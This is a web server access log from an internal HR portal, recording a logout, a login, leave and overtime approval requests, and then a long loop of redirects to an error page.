192.168.40.39 - - [04/Sep/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.44 - - [04/Sep/2025:13:02:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.44 - - [04/Sep/2025:13:02:18 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10609
192.168.40.44 - - [04/Sep/2025:13:02:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10609 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12121
192.168.40.44 - - [04/Sep/2025:13:02:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12121 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:26 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3999 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:26 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3999
192.168.40.44 - - [04/Sep/2025:13:02:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256
192.168.40.44 - - [04/Sep/2025:13:02:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10399 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10399
192.168.40.44 - - [04/Sep/2025:13:02:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 92905 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 92905
192.168.40.44 - - [04/Sep/2025:13:02:47 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:47 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131066%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131066&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131066%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131066&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [04/Sep/2025:13:02:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [04/Sep/2025:13:02:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
